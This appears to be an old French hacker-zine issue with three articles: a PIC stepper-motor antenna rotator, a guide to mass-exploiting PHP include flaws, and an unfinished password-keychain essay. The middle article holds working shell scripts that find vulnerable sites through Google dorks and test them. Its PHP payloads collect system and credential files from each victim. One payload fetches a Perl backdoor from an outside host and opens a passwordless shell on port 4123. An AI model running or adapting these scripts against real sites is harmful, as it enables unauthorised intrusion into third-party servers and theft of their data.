 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ ./google                                                              ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[21]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[un affaire d'antenne qui tourne] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: antenna rotator                                           ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[     n0p      ]=\:\ _//     
                                                  \__\________________________/__/ 



Je n'ai pas l'intention de faire un grand texte style tutorial  pour  mon  ratator.  Je  vais 
seulement indiquer quelque precisions importante et pour le reste vous n'aurez qu' me mailer 
 mon addresse actuelle soit celle  la fin de ce petit article.

Premierement  le  but  de  ce  projet  tait  en  premier  lieu  de  faire  quelque chose qui 
fonctionnait independament du pc, qui utilisait un step motor et qui utilisait  le  "PCL"  du 
PIC. Il n'a donc pas t pens afin d'tre le plus pratique possible. Pour  rpondre  tout de 
suite  la question, oui le PIC pourrait etre  branch  au  PC  afin  de  pouvoir  controller 
l'angle de l'antenne avec un software. Ce serait meme selon  moi  plus  facile que d'utiliser 
des bouton car nous n'avons plus besion de temporisation, d'attente d'initialisation etc.

Ceci  tant  dit,  parlons un peu du step motor. Il  t recycl d'un vieu lecteur disquette 
5"1/4, il est unipolaire et fonctionne sous 12v, 70 ohms par coil. Les  2N2222a s ont donc un 
peu abusif mais je les avait sous la main. Vous pouvez donc ajuster votre choix de transistor 
en fonction du moteur que vous utiliserez. Vous  pourriez  aussi utiliser un moteur bipolaire 
avec deux H-bridges mais il faudrait  modifier  un  peu  le code du PIC. Les  kick-back diode 
pourrait elle aussi tre facilement remplace par  peu prs n'importe quoi qui peu supporter 
~15v et l'amprage du moteur utilis.

Regardons  de  plus  prs ce PIC justement. J'ai utilis un 16F88 car c'est avec eux  que  je 
travail  en  ce  moment mais un 16f84(a), 16f628 ou tout autre equivalent  ferait  trs  bien 
l'affaire avec quelque modification mineur du code.

Pour  ce  qui est du circuit RC branch au schmitt trigger, vous devrez vous assurer  que  la 
constante de temps soit compatible avec le programme du PIC. Pour  les  boutons  branchs sur 
RB6, RB7, les valeurs ne sont pas trop critique mais pour ceux branchs  RB4 et RB5, je vous 
conseil vivement d'utiliser les valeurs de la shmatique. 

Pour finir, pour ce qui est da l'alimentation, vous pouvez faire votre +5v avec    peu  prs 
n'importe quoi car les deux chips suce un minimum de courant, le +12v quant   lui, peu venir 
d'un PC ou de tout ce qui peut fournir le moteur en amprage.

Ha! j'oubliais, le montage a un bug, vous vous en rendrez compte,  la suite d'un  changement 
de l'angle de l'antenne du cot oppos  celui utilis prcdament, l'antenne va dabors faire 
un pas dans l'ancien sens pour ensuite faire les autres du  cot  demand.  Cela est du a une 
mauvaise programmation mais ce n'est qu'un petit  circuit  vite  fait  et  je ne trouvais pas 
vraiment important de me forcer pour le  rendre parfait. Rien ne vous empche de modifier mon 
code est de m'envoyer la correction ;).

J'espre que ces petites prcisions pourrons vous aider  construire votre propre  rotator et 
si ce n'est pas suffisant, n'sitez pas  m'crire.

P.S. Je n'ai jamais suivit de cours en lectronique donc je ne suis pas trs au  courant  des 
normes et des conventions pour ce qui est de l'optimisation de  protoboard  et la cration de 
shmatique. J'espre que ceci ne rendra pas trop difficile la comprhention de ce texte.


n0p (n0px90@gmail.com)


---------------------- AJOUT DE DERNIERE MINUTE ---------------------
Apres avoir donn mon article en version final a Wyzeman, j'ai reu une chip  qui  me  permet 
entre autre de driver un moteur unipolaire comme celui utilis pour mon antenna rotator. J'ai 
donc dcid de refaire mon circuit en incluant  la  chip  en  question  (A6801 d'Allegro) qui 
remplace les quatres transistors et les quatres kick-back diode.  J'ai  ajout  une pic de ce 
montage (circuit_ver1-1.JPG) mais pas de shematic car la  transition de un a l'autre est tres 
facile et de toute faon, ce n'est pas une chip qui cour les rues.
---------------------- AJOUT DE DERNIERE MINUTE ---------------------


---------------------------- cut here -------------------------------
	LIST p=16f88
	
	#include <p16f88.inc>

	__CONFIG _CONFIG1, B'11111111110000' ; WDT Disable, BOR Enable, PWRT Enable
	__CONFIG _CONFIG2, B'11111111111111'

OPTION_VAR EQU B'10000101'
OSCCON_VAR EQU B'01111110'
INTCON_VAR EQU B'10000000'

BANK0	macro
	bcf STATUS, RP0
	endm
BANK1	macro
	bsf STATUS, RP0
	endm

	CBLOCK 0x020
	pointer :1
	postscaler :1
	speed :1
	w_tmp
	status_tmp
	ENDC

	org 0x000
	goto init

	org 0x004
        movwf w_tmp
        swapf STATUS, w
        movwf status_tmp
        call inttmr0

        swapf status_tmp, w
        movwf STATUS
        swapf w_tmp, f
        swapf w_tmp, w

        retfie

inttmr0
	decf postscaler, f
	bcf INTCON, TMR0IF
	return

init
	clrf PORTA
	clrf PORTB
	BANK1
	movlw OPTION_VAR ; Register initialisation
	movwf OPTION_REG
	movlw OSCCON_VAR
	movwf OSCCON
	movlw INTCON_VAR
	movwf INTCON
	clrf ANSEL ; All PORTA = Digital
	clrf TRISA ; All PORTA = Output
	BANK0
	clrf pointer ; pointer = 0
	clrf speed ; speed = 0
init_button ; wait for button initialisation
	btfsc PORTB, 4
	goto init_button
	btfsc PORTB, 5
	goto init_button
	goto start

delay	; 8.192ms @ 8Mhz
	clrf TMR0
	bcf INTCON, TMR0IF
loop
	btfss INTCON, TMR0IF
	goto loop
	return

delay_sec ; 0.8192s @ 8Mhz
	clrf TMR0
	bcf INTCON, TMR0IF
	movlw 0x10 ; Numbre of TMR0 overflow (prescaler 1:64)
	movwf postscaler
	bsf INTCON, TMR0IE
loop_sec
	movf postscaler, w
        sublw 0x00 ; postscaler = 0?
        btfss STATUS, Z
	goto loop_sec
	bcf INTCON, TMR0IE
	return

step_cw
	movf pointer, w
	call bits
	movwf PORTA ; One step forward
	btfss PORTB, 6 ; If RB6 set speed-up cw
	call delay_sec
	call delay
	movf pointer, w
	sublw 0x03 ; pointer = 3?
	btfss STATUS, Z
	goto inc_ptr
	clrf pointer
	return
inc_ptr
	incf pointer, f
	return

step_ccw
	movf pointer, w
        call bits
        movwf PORTA ; One step backward
	btfss PORTB, 7 ; If RB7 set speed-up cw
	call delay_sec
        call delay
	movf pointer, w
	sublw 0x00 ; pointer = 0?
        btfss STATUS, Z
        goto dec_ptr
        movlw 0x03
	movwf pointer
        return
dec_ptr
        decf pointer, f
        return

bits
	addwf PCL, f
	retlw 0x01
	retlw 0x02
	retlw 0x04
	retlw 0x08
	
start
	btfsc PORTB, 4
	call step_cw
	btfsc PORTB, 5
	call step_ccw
	btfsc PORTB, 6
	call step_cw
	btfsc PORTB, 7
        call step_ccw
	goto start
	
	END

---------------------------- cut here -------------------------------


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |                                                              \\_  \_ \   \\_ 1  + 
 || |             http://mrgibson.zapto.org                        \_ \   \\_  \_ \ 1   
 ||'|                                                                \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Membre Honnoraire du Webring Hack.fr                                  ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[22]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ un affaire de google          ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: googleligeli googeligeli googeligeligeligeli              ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[     loytie   ]=\:\ _//     
                                                  \__\________________________/__/ 

Exploitation avec google par script


L'ide de cette technique consiste  utiliser une recherche google  avec  des  critres  bien 
dfinis pour obtenir une liste de sites vulnrables  une faille. Ce procd ayant  dj  t 
utilis par diffrents vers dont celui exploitant une faille phpbb rcente, effaant  le site 
et se propageant en effectuant une nouvelle recherche par google de site vulnrable  la mme 
faille.

Le but de ce texte n'est pas de montrer une des dernires failles  la mode mais explique une 
manire simple pour construire des scripts afin d'exploiter rapidement une faille de type Web 
et d'obtenir une liste de machine vulnrable.  La  suite  consistant    utilis  les  droits 
obtenus par l'exploitation pour faire se que bon vous semble et dans le meilleur  des cas, un 
shell distant (le plus souvent sous l'id nobody).

L'ide  vient du livre "Google Hacking for Penetration Testers" par Syngress, qui en prsente 
les bases. 

L'exemple  qui  suit  prsente la faon d'obtenir par google, une liste de sites susceptibles 
d'tre  vulnrables    la faille php include. Cette vielle faille est simple  comprendre et 
est  toujours  d'actualit quand toutes les conditions sont runies. Suite  cette recherche, 
la seconde  tape  consiste   vrifier que la machine est bien vulnrable. Et pour finir, la 
dernire tape permet d'exploiter la faille et obtenir un shell distant.

Les diffrents scripts sont crit en Shell, utilise le navigateur lynx, le tlchargeur wget, 
les commandes de formatage awk et sed ainsi que les commandes unix de base et  les  principes 
de  programmation  shell.  Les  scripts  ne  sont pas forcement optimal, le but de l'exercice 
servant d'exemple.

Tous les codes sont disponibles sur: http://membres.lycos.fr/loytietoo/




La faille php include


La  faille  php  include  vient  d'une  erreur  de programmation d'une page PHP, utilisant la 
fonction  include  pour  intgrer au code une autre page du site. Dans notre cas, la fonction 
include utilise un argument pass par l'url pour connatre la page  inclure. 

exemple : http://www.exemple.xom?page=liens.php


En modifiant cet argument, il est possible d'inclure une autre page ou un fichier distant  ou 
non.

exemple 1 : http://www.exemple.xom?page=../../etc/passwd
exemple 2 : http://www.exemple.xom?page=http://www.google.com
exemple 3 : http://www.exemple.xom?page=http://www.monsite.com/code.txt

Dans cet exemple, on s'intresse  l'exemple 3.

Sans rentrer dans les dtails, il faut que toutes les conditions ncessaires soit runis pour 
que cela fonctionne, cad que toutes les configs soient mauvaises : programmation  php, config 
php, config apache, config systme.

Pour plus d'info sur la faille include : google.

L'exemple 3 permet d'inclure le fichier distant code .txt contenant du code php. Ce code  est 
insr par include  celui du site www.exemple.com et excut par  php.  Le  format  txt  est 
justifi par le fait qu'il ne sera pas interprt par le site distant www.monsite.com (si php 
interprt).

exemple de code.txt :

<?
system("uname -a > /tmp/.null");

$lines=file("/tmp/.null");

foreach ($lines as $line) {
  echo $line . "<br>\n";
}
?>


PHP excute la commande uname -a sur le systme, copy la rponse dans /tmp/.null. Ensuite  il 
ouvre le fichier /tmp/.null et ajoute chaque ligne du fichier  la page html qu'il  gnre en 
y ajoutant un saut de ligne <BR>.

La  commande  est  simple,  il  est  possible ds a prsent d'ouvrir un shell en modifiant la 
commande,  soit  en  tlchargeant  un  script  shell  distant  par  la commande wget ou bien 
directement par nc.




La recherche google

Rechercher une liste de site susceptible d'tre vulnrable  cette faille consiste  utiliser 
l'argument  "inurl"  de  google  en indiquant la variable d'inclusion du site www.exemple.com 
ainsi que le nom de la page incluse.


exemples :
inurl:?page=liens.php
inurl:?p=acceuil.php3
inurl:?include=start.html




Script de scan google

Le  but du script est de vrifier que les rponses que renvois google respectent les critres 
donns,  cad  que l'url  est au bon format. Google permet d'afficher que 100  rponses    la 
fois, le script va  automatiser le scan de toutes les url page par page. Pour  finir,  toutes 
les urls rpondant  au format sont enregistr dans un fichier.

Toutes les recherches sur google sont faites par lynx et enregistr par l'argument dump.


#!/bin/sh

# vrifier les arguments
if [ $# -ne 2 ]; then
        echo "Include scan v0.3"
        echo
        echo "Usage: scan.sh <variable> <search>"
        echo
        echo "example : http://www.example.com?page=index.php"
        echo "<variable> = page"
        echo "<search>   = index.php"
        echo
        exit 0
fi

# copier les arguments
VAR=$1
SEARCH=$2;
echo "search -> $VAR=$SEARCH"

# initialiser la recherche, 100 rponses  la fois (GNUM)  partir de 0 (GSTART)
GNUM=100
GSTART=0
rm -f list.txt .search.html

# rechercher le nombre de rponse total de google (COUNT)
# info : le nombre se trouve sur la ligne contenant about
set -- `lynx -dump "http://www.google.com/search?q=inurl%3A%3F$VAR=$SEARCH&num=1" | \ 
awk '/about/ { printf("%s", $8) }' |  sed -e 's/,//g'`

COUNT=$1
echo "count -> $COUNT"
echo

# tant que rponse total non ateint 
while [ "$GSTART" -le "$COUNT" ] ; do

        echo "list -> $GSTART of $COUNT"

        # enregistrer la page de recherche google dans .search.html
        lynx -dump "http://www.google.com/search?q=inurl%3A%3F$VAR=$SEARCH&num=$GNUM&start=$GSTART" > .search.html


        # vrifier chaque url de la reherche
	# enregistrer si respecte format
        sed -n "s/\. http:\/\/.*"$VAR"="$SEARCH"/& /p" .search.html | awk '{print $2}' >> list.txt

        # incrementer la recherche
        let GSTART=$GSTART+$GNUM;

done

# fin
rm .search.html
echo
echo "output list -> list.txt"




Script de vrification des sites vulnrables

Maintenant que l'on possde la liste des sites rfrencs par google  et  successible  d'tre 
exploitable par la faille include, le  script  suivant  va  tester  chaque  url  en  essayant 
d'inclure le fichier code.txt.

Le fichier code.txt se contente d'afficher le mot "machtard" sur la page retourne. Le script 
vrifie  si  la  page  contient  ce  mot  et en dduit dans le cas positif que  le  site  est 
vulnrable. Au pralable, il faut crer le fichier code.txt sur un autre site.

code.txt :

<?
system("echo machtard > /tmp/.null2");

$lines=file("/tmp/.null2");

foreach ($lines as $line) {
  $line = str_replace("\$", "", $line);
  $line = str_replace("\<\?", "", $line);
  echo $line . "<br>\n";
}
?>


script :

#!/bin/sh

# vrifier les arguments
if [ $# -ne 2 ]; then
        echo "Include scan v0.3"
        echo
        echo "Usage: test.sh <variable> <search>"
        echo
        echo "example : http://www.example.com?page=index.php"
        echo "<variable> = page"
        echo "<search>   = index.php"
        echo
        exit 0
fi

# cpier les arguments
VAR=$1
SEARCH=$2
echo "search -> $VAR=$SEARCH"
echo

# initialiser le scan
VALUE="http:\/\/membres.lycos.fr\/loytietoo\/code.txt"
rm -f vulnerable.txt

# pour chaque url du fichier
cat list.txt | while read line ; do

        # modifier l'url en ajoutant code.txt
        set -- `echo $line | sed -e "s/"$VAR"="$SEARCH"/"$VAR"="$VALUE"/g";`
        SITE=$1

        # demander la page
        lynx -dump $SITE > .site.html

	  # rechercher machtard dans la page
        set -- `cat .site.html | grep machtard | grep -v echo | awk '/machtard/ { printf("OK\n") }'`

        # si vulnrable, enregister l'url
        if [ "$1" = "OK" ]; then
                echo "[+] $line"
                echo $line >> vulnerable.txt
        else
                echo "[-] $line"
        fi

done

# fin
rm -f .site.html




Script de demande d'information


Maintenant  que  l'on  possde  une  liste  de  site  vulnrable, il est possible dexploiter 
directement les cibles en rcuprant des informations complmentaires grce   des  commandes 
unix excutes depuis le code PHP. 

commandes :
uname -a
uptime
hostname
pwd
id
echo $PATH
cat /etc/passwd
ifconfig
cat /etc/resolv.conf
netstat -l
netstat -r
ps -auxf
lspci
lsmod
env

Pour chaque commande, on insre le rsultat dans un fichier, que l'on  affiche  sur  la  page 
rsultante de la mme faon que le script prcdent. De plus  on  inclue  au  code  html, une 
balise spcial afin de la reconnatre les informations qui nous intressent dans le code html 
complet retourn. Les informations sont ajoutes dans un fichier  ddi  pour  en  garder une 
trace. Le fichier est copier dans un repertoire "hosts",  il faut le crer au pralable.


code2.txt : 
<loytie>
<?

system("echo > /tmp/.null2");

system("echo; uname -a >> /tmp/.null2");
system("echo; uptime >> /tmp/.null2");
system("echo; hostname >> /tmp/.null2");
system("echo; pwd >> /tmp/.null2");
system("echo; id >> /tmp/.null2");
system("echo; echo \$PATH >> /tmp/.null2");
system("echo; cat /etc/passwd | grep sh >> /tmp/.null2");
system("echo; ifconfig >> /tmp/.null2");
system("echo; cat /etc/resolv.conf >> /tmp/.null2");
system("echo; netstat -l >> /tmp/.null2");
system("echo; netstat -r >> /tmp/.null2");
system("echo; ps -auxf >> /tmp/.null2");
system("echo; lspci >> /tmp/.null2");
system("echo; lsmod >> /tmp/.null2");
system("echo; env >> /tmp/.null2");

$lines=file("/tmp/.null2");

foreach ($lines as $line) {
  $line = str_replace("\$", "", $line);
  $line = str_replace("\<\?", "", $line);
  echo $line;
}
?>
</loytie>


script :

#!/bin/sh

# vrifier les arguments
if [ $# -ne 2 ]; then
        echo "Include scan v0.3"
        echo
        echo "Usage: exploit.sh <variable> <search>"
        echo
        echo "example : http://www.example.com?page=index.php"
        echo "<variable> = page"
        echo "<search>   = index.php"
        echo
        exit 0
fi

# enregistrer les arguments
VAR=$1
SEARCH=$2;
echo "search -> $VAR=$SEARCH"
echo

# initialiser le script
VALUE="http:\/\/membres.lycos.fr\/loytietoo\/code2.txt"

# pour chaque url 
cat vulnerable.txt | while read line ; do

        # recuprer le nom de domaine
        set -- `echo $line | awk -F "/" '{  print $3 }';`
        HOSTNAME=$1

        # modifier l'url en ajoutant code.txt
        set -- `echo $line | sed -e "s/"$VAR"="$SEARCH"/"$VAR"="$VALUE"/g";`
        SITE=$1

        # rcuprer la page
        wget $SITE -O .site.html 2&> /dev/null

        # init
        find=0

        # scanner la page 
        cat .site.html | while read line2 ; do

		# si pas encore d'information
                # vrifier si la ligne contient la balise de dpart
                if [ $find = "0" ]; then

                        set -- `echo $line2 | awk '/<loytie>/ { printf("OK\n") }'`
			
			# si balise alors dbut d'information
                        if [ "$1" = "OK" ]; then
                                find=1
                                echo $line > .info
                                echo >> .info
                                echo hostname "-> $HOSTNAME"
                        fi

                # si des informations
                # vefifier si balise de fin
		# sinon, enregistrer les informations
                else
                       set -- `echo $line2 | awk '/<\/loytie>/ { printf("OK\n") }'`

                        if [ "$1" = "OK" ]; then
                                find=0
                        fi

                        if [ "$find" = "1" ]; then
                                echo $line2 >> .info
                        fi
                fi

        done

        # enregistrer les informations
        cat .info >> hosts/$HOSTNAME

        # fin
        rm -f .site.html .info
done




Script pour obtenir un shell

Maintenant que nous disposons d'informations sur les cibles, il est possible de les  utiliser 
pour compromettre les  systmes  avec  des  attaques  complmentaires...  Cependant,  il  est 
intressant de disposer d'un shell plutt que d'utiliser la mthode script par page web. 

Un  exemple  simple  consiste    faire tlcharger par la cible un programme shell  distant, 
l'excuter  et  pour  finalement  se  connecter dessus. J'utilise personnellement  le  script 
suivant : http://membres.lycos.fr/loytietoo/telnet.pl. Le script excute un shell sur le port 
4123 sans mot de passe, il suffit de se connecter dessus en telnet.

telnet www.exemeple.com 4123

code3.txt :

<?

system("mkdir /tmp/.kernel");
system("wget http://membres.lycos.fr/loytietoo/telnet.pl -P /tmp/.kernel/");
system("/usr/bin/perl /tmp/.kernel/telnet.pl");

?>


script :
#!/bin/sh

# vrifier les arguments
if [ $# -ne 3 ]; then
        echo "Include scan v0.3"
        echo
        echo "Usage: telnet.sh <variable> <search> <host_file_info>"
        echo
        echo "example : www.example.com?page=index.php"
        echo "<variable> = page"
        echo "<search>   = index.php"
        echo "<host_file_info> = hosts/www.example.com"
        echo
        exit 0
fi

# copier les arguiments
VAR=$1
SEARCH=$2;
FILE=$3
echo

# initialiser
VALUE="http:\/\/membres.lycos.fr\/loytietoo\/code3.txt"

# lire la premiere ligne du fichier d'information
read line < $FILE

# recuperer le domaine
set -- `echo $line | awk -F "/" '{  print $3 }';`
HOSTNAME=$1
echo $HOSTNAME

# modifier l'url
set -- `echo $line | sed -e "s/"$VAR"="$SEARCH"/"$VAR"="$VALUE"/g";`
SITE=$1

# recuperer la page
wget $SITE -T 15 -O .site.html 2&> /dev/null
rm -f .site.html

# telnet
telnet $HOSTNAME 4123




Conclusion

En esprant que cet exemple soit comprhensible et intressant.

Tous les codes sont disponibles sur: http://membres.lycos.fr/loytietoo/


Cet exemple n'expose pas toutes les  conditions  ncessaires  pour  que  cela  fonctionne. En 
effet, il serait judicieux de rajouter des conditions aux  scripts  afin  de s'adapter  tous 
types d'architectures Unix. 

exemple 1 : le rep /tmp est il ecrivable et executable ? dans le cas contraire 
les scripts ne fonctionne pas
exemple 2 : l'ip est tel derriere un NAT ? dans ce cas il faut faire un reverse 
telnet 
...


Je suis persuad que la base google est une bonne approche  la recherche de  vulnrabilits. 
Le site http://johnny.ihackstuff.com/ contient une base de  donne  trs intressante sur les 
recherches d'informations sur Google. 

L'exemple montre aussi la puissance du shell  unix  pour  l'automatisation  de  processus. De 
toute faon, personne ne fait de hack sous windows (troll mdr).

Je suis ouvert  toutes suggestions ou corrections. 





  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |                                                              \\_  \_ \   \\_ 1  + 
 || |                http://Www.Pyrofreak.Org                      \_ \   \\_  \_ \ 1   
 ||'|                                                                \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Membre honnoraire du webring Hack.fr                                  ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[23]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[  un affaire de password       ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: that's it that's all pas de 2eme couche                   ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[  Lastcall_    =\:\ _//     
                                                  \__\________________________/__/ 




J'ai eu une ide : je rinvente le porte clefs
  aka J'me rappelle quand Wyze perdait ses clefs dans le zine



J'ai 2000 passwords

Faons nouvelles de grer a :
- biomtrie = dla marde
- une carte d'accs universelle? universel dla marde
- un ti papier avec toute mes pass dessus? si j'le perds chu ownde facile
- un set de clefs...

Eureka.

Ce qu'il faut, c'est un set de clefs...
a  peut  tre juste  un  petit device,  si  tu te  le  fais voler c'est bad videmment, sauf 
que, tout comme un  set de clefs,  faut  que  la  personne  sache  qu'elle  porte  a  ouvre. 
Finalement, tu fini par avoir tellement de clefs,  que  de perdre un set de clef  a  devient 
un security risk moyennement  grand (entk  pas  plus grand que  de perdre tes clefs  en plein 
centre ville),  puisque t'es difficile  cibler.

Donc,
le  set  de clef  devrait  contenir un  moyen  d'accs   toute  nos accounts.  videmment la 
clef peut tre fucking  complexe, vu qu'on a juste   retenir  de  quoi  elle  a  l'air  pour 
l'associer  un account.

Donc, d'un point de vue interface, on pourrait par exemple associer une  image  un account.. 
ou encore un  mot ou un texte. (tout comme avec un vrai set  de  clefs  on  se rappelle de la 
marque pis  de l'allure de la clef,  la limite  un  print  out  du  hash  md5  dla  key   on  
finirait par reconnatre (sauf  si t'as 200  clefs  c  plus compliqu, mais aller  demander  
vos concierge ski font..).  Fak  t'as juste  choisir quel clef utiliser dans ton porte clef, 
pis tu peux avoir accs  ton account.

Pour l'utilisation, faudrait  que a soit  de quoi de physique, ou si c wifi d'un range <1cm. 
Genre tu choisi quel clef prendre, tu plugs la bidule dans le clavier, et t'es authentifi.

Ce que le bidule va  storer : simplement le mot  de passe (ou une key  prive)  ainsi   qu'un 
moyen de rappeler l'utilisateur o la clef sert.

On tombe donc avec de  quoi qui a un niveau  de scurit comparable  un vrai set de clef. Si  
vous perdez votre set,  n'importe qui peut faire  des doubles  (bads)  ou  les utiliser.  Y'a 
aussi toutes les  autres choses que vous  pouviez  penser, si genre  on dcrisse la  serrure, 
si finalement la porte est rester ouverte, etc etc, mais combien de vous autres se sont faite 
voler leurs  chars paske y'avait laisser les  clefs dedans  le moteur  en marche  dehors dans 
un cartier miteux de Montral la nuit quand y'a du brouillard? Si c'est votre cas nyways vous 
tes un peu cave de faire a et vous l'avez mrit. haha

Mais bon, y'a pire comme consquence que des vrai clefs, la clef vu quelle  est logique, peut  
tre intercepte.  Soit lors  du chargement  vers le bidule, ou soit lors de l'utilisation.

Solution?
Upload  vers  le  bidule:  Le   bidule  accepte seulement les clefs  encryptes avec sa  clef  
publique, fak  y'a  juste le  bidule  lui-mme qui  peut  dcoder le  rsultat  du transfert. 
Tlm connais la clef publique de ton bidule (on s'entend  qu'un  bidule  =  un  diffrent  par 
personne).  Bon la y reste encore un trou,  du  genre,  tu peux crer une fausse clef,  et la 
pitcher au bidule, et le  gars va  penser  que  c  la  bonne mais y  se fait fourrer. Donc la 
solution,  y'a  juste  un  sysadmin  qui peut donner des "clefs"... (le risque est encore la, 
mais  pensez  z'y  un peu... entre  le propritaire de votre  block appart qui vous  donne la
clef, ou  la porte  qui vous  chie une  clef dains  mains, c'est  quoi le plus scure? hehe)

Download du bidule (utilisation de la clef finalement): la videmment on  peut intercepter la  
clef.. solution?  (la chu  moins sure)  Signer la fucking clef  quand  on  l'envoie.  Donc en 
gros, la porte (aka le server) s'assure que la clef  provient  vraiment  du  bon  bidule. Cte 
boute la  y'a moyen de le  travailler un  peu...  mais faut surtout pas penser qui faut faire 
pareil comme le upload. 

Par  exemple,  on  pourrait  un  lien  crypt  entre  le bidule pis le  serveur, pour ensuite 
changer la clef ( la SSH).

Mais faut pas oublier  une chose, c'est que  finalement, toute ce que  je veux que ce  bidule 
